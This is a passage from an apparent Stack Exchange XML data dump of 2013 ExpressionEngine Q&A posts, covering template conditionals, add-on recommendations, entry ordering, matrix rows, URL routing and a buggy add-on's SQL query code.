limit=&quot;1&quot; url_title=&quot;{segment_1}&quot;}&#xA;    {if choose_entries == &quot;Rides&quot;}&#xA;            &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;Rides&amp;lt;span class=&quot;green&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {embed=&quot;views/.rides&quot;}&#xA;            &amp;lt;img src=&quot;content/img/bike.png&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if choose_entries == &quot;Gear&quot;}&#xA;            &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;Gear&amp;lt;span class=&quot;orange&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {embed=&quot;views/.gear&quot;}&#xA;    {/if}&#xA;    {if choose_entries == &quot;Groups&quot;}&#xA;            &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;Groups&amp;lt;span class=&quot;blue&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {embed=&quot;views/.groups&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there is probably a way to do it with php (but I don't write php), I would like to avoid that if possible. I was unable to find the correct php syntax to get an &quot;if contains&quot; type statement to work.&lt;/p&gt;&#xA;" OwnerUserId="525" LastActivityDate="2013-04-22T22:15:24.770" Title="Display embedded templates inside a conditional statement if checked on publish page" Tags="|conditionals|embeds|checkbox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9592" PostTypeId="2" ParentId="9557" CreationDate="2013-04-22T22:12:22.523" Score="1" Body="&lt;p&gt;In EE2 Simple Commerce can do monthly payments also but does not have the functionality to open/close channel entries.&lt;img src=&quot;https://i.stack.imgur.com/xVjrM.png&quot; alt=&quot;enter image description here&quot;&gt; Also it only works with a PayPal account (and if I remember correctly) the PayPal Standard API which requires an IPN notification to be sent out and received for the system to mark items as paid. That API is notoriously buggy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Ian mentioned there is also &lt;a href=&quot;http://cartthrob.com/site/product_detail/cartthrob2&quot; rel=&quot;nofollow noreferrer&quot;&gt;CartThrob&lt;/a&gt; + &lt;a href=&quot;http://cartthrob.com/site/product_detail/subscriptions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subscriptions&lt;/a&gt; but it will total in at $600 if you do not already have license to either pieces of software. Having said that $600 is still between 10-100 times cheaper then developing something for yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your original post if you want something integrated into EE that is not going to break the bank your best bet would be &lt;a href=&quot;http://membrr.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Membrr&lt;/a&gt;. It can be a slight pain to set up as the actual Payment Gateway system requires IonCube installed on the server.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-22T22:12:22.523" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9593" PostTypeId="2" ParentId="9591" CreationDate="2013-04-22T22:15:24.770" Score="0" Body="&lt;p&gt;Don't even attempt to do something like this with the native checkboxes, they're really substandard. Use pixel and tonic's field pack instead and you'll have no problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pt-field-pack&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/pt-field-pack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-22T22:15:24.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9594" PostTypeId="2" ParentId="9374" CreationDate="2013-04-22T23:30:16.513" Score="1" Body="&lt;p&gt;I found some interesting behaviour for example in some instances, if I were to print the value of the billing_region separately into a div rather than set the value in the dropdown, the correct region would be selected in the dropdown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have since got it to work. I changed back the fields we were using to just plain text fields, rather than a select field. It shouldn't have affected anything since the values for the field were the same, and the select in the Admin CP was displaying the correctly selected value. It still doesn't explain why it wouldn't select the correct value in the select. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, I have my fields working correctly, and changing from a select to a text input is not a big deal for us for our project.&lt;/p&gt;&#xA;" OwnerUserId="1333" LastActivityDate="2013-04-22T23:30:16.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9595" PostTypeId="1" AcceptedAnswerId="9601" CreationDate="2013-04-23T00:33:27.213" Score="1" ViewCount="375" Body="&lt;p&gt;I would like to customize Wygwam's Image Properties modal to display the following options only:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upload image files from local HD&lt;/li&gt;&#xA;&lt;li&gt;Add Alt text&lt;/li&gt;&#xA;&lt;li&gt;Add a caption&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't want site members to be able to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See existing images&lt;/li&gt;&#xA;&lt;li&gt;Resize images&lt;/li&gt;&#xA;&lt;li&gt;Style images&lt;/li&gt;&#xA;&lt;li&gt;Use other advanced options&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2016-03-16T16:12:03.667" Title="Wygwam 2.7: How Can I Customize the Image Properties Modal?" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9596" PostTypeId="1" AcceptedAnswerId="9598" CreationDate="2013-04-23T00:41:58.640" Score="2" ViewCount="224" Body="&lt;p&gt;I'm trying to build a conference schedule and I would like each time slot entry in my channel to be ordered by the time designated in a custom field. My first approach used a text field {start_time} to enter the time the event begins. Then I set the entries tag to orderby=&quot;start_time&quot; sort=&quot;as&quot;. Unfortunately, the output was as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;11:00am - 11:15am | Break &lt;/li&gt;&#xA;&lt;li&gt;11:15am - 12:30pm | Breakout Session II  &lt;/li&gt;&#xA;&lt;li&gt;12:30pm - 12:45pm | Break &lt;/li&gt;&#xA;&lt;li&gt;12:45pm - 2:15pm | Lunch &amp;amp; Keynote &lt;/li&gt;&#xA;&lt;li&gt;2:15pm - 2:30pm | Break &lt;/li&gt;&#xA;&lt;li&gt;2:30pm - 3:45pm | Concurrent Session III &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;7:30am - 12:00pm | Conference Start Time&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;8:00am - 9:00am | Breakfast Buffet &lt;/li&gt;&#xA;&lt;li&gt;9:00am - 9:45am | Opening Welcome and Remarks &lt;/li&gt;&#xA;&lt;li&gt;9:00am - 9:45am | Break &lt;/li&gt;&#xA;&lt;li&gt;9:45am -11:00am | Breakout Session I&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I understand why this is happening and have looked into Low Reorder as a possible solution. But before I purchase I was wondering if there was another solution to this that would not involve entering the times in this format: 07:30am.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2013-04-23T14:26:02.180" Title="Order entries by custom time field" Tags="|custom-fields|time|orderby|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9597" PostTypeId="1" CreationDate="2013-04-23T00:44:09.673" Score="1" ViewCount="121" Body="&lt;p&gt;Trying to use ObjectiveHTML's public beta addon, &lt;a href=&quot;https://objectivehtml.com/entries&quot; rel=&quot;nofollow&quot;&gt;Entries&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that I really need this addon to work, and the developer is not answering as this is a beta version. I looked at the code and this is the problematic area: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function assigned_to_member()&#xA;{&#xA;    $channel = $this-&amp;gt;param('from_channel', FALSE, FALSE);&#xA;    $entries = $this-&amp;gt;EE-&amp;gt;entries_model-&amp;gt;get_assigned_entries($this-&amp;gt;param('from_field', FALSE, FALSE, TRUE), $channel, $this-&amp;gt;param('from_author_id', $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'), FALSE));&#xA;&#xA;    if($entries-&amp;gt;num_rows() == 0)&#xA;    {&#xA;        return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;no_results();&#xA;    }&#xA;&#xA;    $entry_ids = array();&#xA;&#xA;    foreach($entries-&amp;gt;result() as $entry)&#xA;    {&#xA;        $entry_ids[] = $entry-&amp;gt;entry_id;    &#xA;    }&#xA;&#xA;    return $this-&amp;gt;lib-&amp;gt;entries(array(&#xA;        'channel'  =&amp;gt; $this-&amp;gt;param('channel', ''),&#xA;        'entry_id' =&amp;gt; implode($entry_ids, '|'),&#xA;        'dynamic'  =&amp;gt; 'no',&#xA;        'disable'  =&amp;gt; 'disable=&quot;member_data|categories|category_fields|pagination&quot;'&#xA;    ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It gives me a mysql error like this:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1064&#xA;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND exp_channel_data.site_id = 1 AND author_id = 160' at line 4&#xA;SELECT `exp_channel_data`.`entry_id`, `author_id` FROM (`exp_channel_data`) JOIN `exp_channel_titles` ON `exp_channel_data`.`entry_id` = `exp_channel_titles`.`entry_id` WHERE exp_channel_data.channel_id = AND exp_channel_data.site_id = 1 AND author_id = 160&#xA;Filename: third_party/entries/models/entries_model.php&#xA;Line Number: 49&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the code referred to in that error (line 49 marked at bottom):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Entries_model extends CI_Model {&#xA;&#xA;public function __construct()&#xA;{&#xA;    parent::__construct();&#xA;}&#xA;&#xA;public function get_assigned_entries($field_name = FALSE, $channel, $member_id = FALSE)&#xA;{&#xA;    if(!preg_match('/^\d*$/', $channel))&#xA;    {&#xA;        $channel = $this-&amp;gt;channel_data-&amp;gt;get_channel_by_name($channel)-&amp;gt;row('channel_id');   &#xA;    }&#xA;&#xA;    if(!$member_id)&#xA;    {&#xA;        $member_id = $this-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;    }&#xA;&#xA;    $sql = array();&#xA;&#xA;    $sql[] = 'exp_channel_data.channel_id = '.$channel;&#xA;    $sql[] = 'AND exp_channel_data.site_id = '.config_item('site_id');&#xA;&#xA;    if($field_name)&#xA;    {&#xA;        $field = $this-&amp;gt;channel_data-&amp;gt;get_field_by_name($field_name)-&amp;gt;row();&#xA;&#xA;        if(isset($field-&amp;gt;field_id))&#xA;        {&#xA;            $sql[] = ' AND (field_id_'.$field-&amp;gt;field_id.' LIKE \'%'.$member_id.'|%\' OR';&#xA;            $sql[] = ' field_id_'.$field-&amp;gt;field_id.' LIKE \'%|'.$member_id.'\' OR';&#xA;            $sql[] = ' field_id_'.$field-&amp;gt;field_id.' LIKE \''.$member_id.'\')';&#xA;            $sql[] = ' OR exp_channel_data.channel_id = '.$channel;&#xA;            $sql[] = ' AND exp_channel_data.site_id = '.config_item('site_id');&#xA;        }&#xA;    }&#xA;&#xA;    $sql[] = 'AND author_id = '.$member_id;&#xA;&#xA;    $sql   = rtrim(ltrim(implode(' ', $sql), 'OR'), 'AND');&#xA;&#xA;    $this-&amp;gt;db-&amp;gt;select('channel_data.entry_id, author_id');&#xA;    $this-&amp;gt;db-&amp;gt;where($sql, NULL, FALSE);&#xA;    $this-&amp;gt;db-&amp;gt;join('channel_titles', 'channel_data.entry_id = channel_titles.entry_id');&#xA;&#xA;( HERE IS THE LINE 49 ---&amp;gt;) return $this-&amp;gt;db-&amp;gt;get('channel_data');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am literally down. Any idea for a solution of this thing :( ?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="69" LastEditDate="2013-10-23T11:37:47.473" LastActivityDate="2013-10-23T11:37:47.473" Title="Help repairing ObjectiveHTML Entries addon" Tags="|channel-entries|mysql|php-errors|regular-expressions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9598" PostTypeId="2" ParentId="9596" CreationDate="2013-04-23T02:02:35.223" Score="3" Body="&lt;p&gt;I would suggest you to use &quot;Time Select&quot; field type (&lt;a href=&quot;http://devot-ee.com/add-ons/time-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/time-select&lt;/a&gt;) as it stores the time value as integer to orderby would work correctly with parameter orderby=&quot;start_date&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-23T02:02:35.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9599" PostTypeId="2" ParentId="9596" CreationDate="2013-04-23T02:05:47.407" Score="1" Body="&lt;p&gt;This plugin may be of help to you as well.  &lt;a href=&quot;http://gotolow.com/addons/low-events&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other possible idea is store it in military time and then date format on display: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="683" LastActivityDate="2013-04-23T02:05:47.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9600" PostTypeId="2" ParentId="9549" CreationDate="2013-04-23T06:37:17.570" Score="1" Body="&lt;p&gt;Instead of using your plugin as a parameter, you can wrap the entire channel:entries tag inside your own plugin, and then just search-replace &lt;code&gt;{custom_value}&lt;/code&gt;, a single variable, with the data you want to insert in the inner tags parameter. (parse=inward so that the outer tag-pair is parsed first)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:custom_plugin:method parse=&quot;inward&quot;}&#xA;  {exp:channel:entries channel=&quot;products&quot; &#xA;    entry_id=&quot;{custom_value}&quot; status=&quot;wide&quot; &#xA;  }&#xA;    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/exp:custom_plugin:method}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;e.g.: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9366/entry-id-returned-from-plug-in-not-working-in-channel-entries-tag/9369#9369&quot;&gt;Entry ID Returned From Plug-In Not Working in Channel Entries Tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-04-23T06:37:17.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9601" PostTypeId="2" ParentId="9595" CreationDate="2013-04-23T07:38:19.623" Score="0" Body="&lt;p&gt;Honestly, I'm not sure theres a way to do this. You can customize parts of CKEditor 3 (the WYSIWYG editor Wygwam uses) like the images or link dialog windows because they are each separate JS files. Just copy the file and start hacking away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the actual uploading of files is handled by either CKFinder (CKeditor's counterpart), the build-in EE file manager, or anther third-party alternative like Assets. And as far as I know, none of them allow you to only upload files or even just see files the current users has uploaded but none of the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be a way to use &lt;a href=&quot;http://www.devdemon.com/channel_images/&quot; rel=&quot;nofollow&quot;&gt;DevDemon's Channel Images&lt;/a&gt; to accomplish this. It creates an upload directory for each entry and only uploads images there. So the user would only be allowed access to that entry's images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Images also has a Wygwam button that let's the user insert an image from Channel Images. It's pretty plain. You pick and image and it drop in an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. You should be able to hack it to create a &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt; for instance because it's built in JS like any other CKEditor button.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-23T07:38:19.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9602" PostTypeId="1" AcceptedAnswerId="9607" CreationDate="2013-04-23T08:33:16.620" Score="3" ViewCount="694" Body="&lt;p&gt;I want to select the last 2 rows in a matrix field:&#xA;You would expect that this could be easily achieved by using the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix}&#xA;    {if row_count &amp;gt;=  total_rows - 1}&#xA;        test&#xA;    {/if}&#xA;{/matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;However, this throws a syntax error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;b&gt;Parse error&lt;/b&gt;:  syntax error, unexpected T_STRING in&#xA;  &lt;b&gt;expressionengine/libraries/Functions.php(683) : eval()'d code&lt;/b&gt;&#xA;  on line &lt;b&gt;168&lt;/b&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;Using just &quot;total_rows&quot; works perfectly fine, adding the the &quot;-1&quot; causes the error.&#xA;( EE v 2.5.5 )&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-04-24T09:06:53.613" Title="selecting the last 2 rows of a matrix" Tags="|matrix|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9603" PostTypeId="1" AcceptedAnswerId="9608" CreationDate="2013-04-23T09:23:32.183" Score="3" ViewCount="647" Body="&lt;p&gt;Is it possible to remove the template group from the url so instead of &lt;a href=&quot;http://example.com/blog/article/postone&quot; rel=&quot;nofollow&quot;&gt;http://example.com/blog/article/postone&lt;/a&gt; it would be &lt;a href=&quot;http://example.com/blog/postone&quot; rel=&quot;nofollow&quot;&gt;http://example.com/blog/postone&lt;/a&gt;. I already stripped the index.php via .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blog/index code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;8&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;p&amp;gt;{blog_except}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{title_permalink='blog/article'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my blog/article code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;p&amp;gt;{blog_body}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerDisplayName="user1292" LastActivityDate="2013-04-23T14:04:50.627" Title="Remove template segment from URL" Tags="|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9604" PostTypeId="2" ParentId="9602" CreationDate="2013-04-23T09:24:53.610" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix orderby=&quot;row_id&quot; sort=&quot;desc&quot; limit=&quot;2&quot;}&#xA;&#xA;{matrix_column}&#xA;&#xA;{/matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-23T09:24:53.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9605" PostTypeId="2" ParentId="9603" CreationDate="2013-04-23T10:04:53.953" Score="3" Body="&lt;p&gt;In the past i used to have an elaborate &lt;code&gt;{exp:switchee}&lt;/code&gt; tag in de blog/index template, that would check for various possibilities for segment_2. Process a channel:entries tag accordingly, wether it is a number (archives), or pagination (P12), otherwise treat it like a url_title. (pseudo code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;{case value=&quot;#/d+#&quot;}&#xA;  // number means archives&#xA;  // process further? e.g. months etc. 2012/04&#xA;{/case}&#xA;{case value=&quot;''|#^P/d+#&quot;}&#xA;  //pagination or empty (meaning index)&#xA;{/case}&#xA;{case default=&quot;yes&quot;}&#xA;  // not empty, expecting url_title&#xA;{/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: But actually, i went back to more separate templates for detail views (single entry), archives and listviews. Not have one huge index template anymore.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-23T10:04:53.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9606" PostTypeId="2" ParentId="9557" CreationDate="2013-04-23T10:36:18.050" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Looking above at my request which looks really simple, $299 is too steep for this Cartthob Subscription feature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should try developing it yourself then. When you're done (I'll guess in about a year) let us know how much you want to sell it for :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$299 is a bargain for that piece of software. If you aren't covering that cost with the price of a few subscriptions (or at the very least saving a few billable hours of your time), you're doing it wrong.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-23T10:36:18.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9607" PostTypeId="2" ParentId="9602" CreationDate="2013-04-23T10:54:34.110" Score="2" Body="&lt;p&gt;TAking what Bhashkar Yadav suggested, you might now need to go with two matrix calls to achieve what yoku need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix orderby=&quot;row_id&quot; sort=&quot;desc&quot; limit=&quot;1&quot; offset=&quot;1&quot;}&#xA;&#xA;{matrix_column}&#xA;&#xA;{/matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix orderby=&quot;row_id&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;&#xA;{matrix_column}&#xA;&#xA;{/matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should call the second last row first and then the last row. It's a little clunky, but I don't believe there is a better way to achieve what you need.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-04-23T10:54:34.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9608" PostTypeId="2" ParentId="9603" CreationDate="2013-04-23T11:38:27.073" Score="0" Body="&lt;p&gt;This is just simple routing so I'd look to use &lt;a href=&quot;https://github.com/averyvery/freeway&quot; rel=&quot;nofollow&quot;&gt;Freeway&lt;/a&gt; here. Then you can just map up the desired URL with the actual URL like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blogs/{{entry}} =&amp;gt; blog/article/{{entry}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then people will be able to visit &lt;code&gt;blogs/entry-title&lt;/code&gt; and EE will treat it as if they visited &lt;code&gt;blog/article/entry-title&lt;/code&gt; and use the appropriate template_group/template.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-23T14:04:50.627" LastActivityDate="2013-04-23T14:04:50.627" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9609" PostTypeId="1" CreationDate="2013-04-23T13:17:52.327" Score="1" ViewCount="81" Body="&lt;p&gt;I’ve got the following site structure, but I’m not sure how to manage the grouping/categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CW6A6.png&quot; alt=&quot;Structure&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the articles are my only channel, and categories would normally be easy to work out, but I can’t figure out how to make it work with markets and languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2013-04-23T13:17:52.327" Title="Suggestion for site structure" Tags="|structure|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9610" PostTypeId="2" ParentId="9582" CreationDate="2013-04-23T13:46:43.653" Score="1" Body="&lt;p&gt;Not sure if this will work, but you could try wrapping your template code inside the channel entries with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count &amp;lt;=6}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Theoretically this should only display the first 6 results that match what you get.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-04-23T13:46:43.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9611" PostTypeId="2" ParentId="9602" CreationDate="2013-04-23T14:02:56.213" Score="2" Body="&lt;p&gt;You could install &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt; and give something like this a go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix}&#xA;    {if row_count &amp;gt;= &quot;{exp:mx_calc expression='{total_rows}-1'}&quot;}    &#xA;        test&#xA;    {/if}&#xA;{/matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that return?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-23T14:02:56.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9612" PostTypeId="2" ParentId="9596" CreationDate="2013-04-23T14:26:02.180" Score="0" Body="&lt;p&gt;The orderby parameter does funky things when you want it to order by a date field that isn't native (like entry date).  Solspace has a free add-on that should solve your problem - the &lt;a href=&quot;http://www.solspace.com/docs/date_field_filter/&quot; rel=&quot;nofollow&quot;&gt;Date Field Filter&lt;/a&gt; add-on re-maps the date-related field, giving you the same kind of ordering behaviour you would get if you were using the entry date as your start time field.  What you wind up with is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; date_field=&quot;your_custom_date_field&quot; orderby=&quot;your_custom_date_field&quot; sort=&quot;asc&quot; limit=&quot;##&quot; dynamic=&quot;no&quot; disable=&quot;whatever_you_disable&quot;}&#xA;&#xA;you date info here&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are also date_field_start and date_field_stop parameters as well.  I've used it a few times to better control ordering entries by custom date fields, and it has worked great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-23T14:26:02.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9613" PostTypeId="1" AcceptedAnswerId="9614" CreationDate="2013-04-23T15:22:02.910" Score="1" ViewCount="224" Body="&lt;p&gt;I am continuously receiving Spam even though i have installed &quot;low NoSpam&quot; and &quot;Freeform Anti-Spam&quot; any ideas on how to block this out completely or alternative add-on.. thanks!!!!!&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2013-04-23T16:38:46.127" Title="Receiving Spam Continuously" Tags="|spam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9614" PostTypeId="2" ParentId="9613" CreationDate="2013-04-23T15:25:03.640" Score="3" Body="&lt;p&gt;I would suggest you to use Snaptcha (&lt;a href=&quot;http://www.putyourlightson.net/snaptcha&quot; rel=&quot;nofollow&quot;&gt;http://www.putyourlightson.net/snaptcha&lt;/a&gt;). I had faced such a problem but Snaptcha worked great for me.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-04-23T16:28:14.437" LastActivityDate="2013-04-23T16:28:14.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
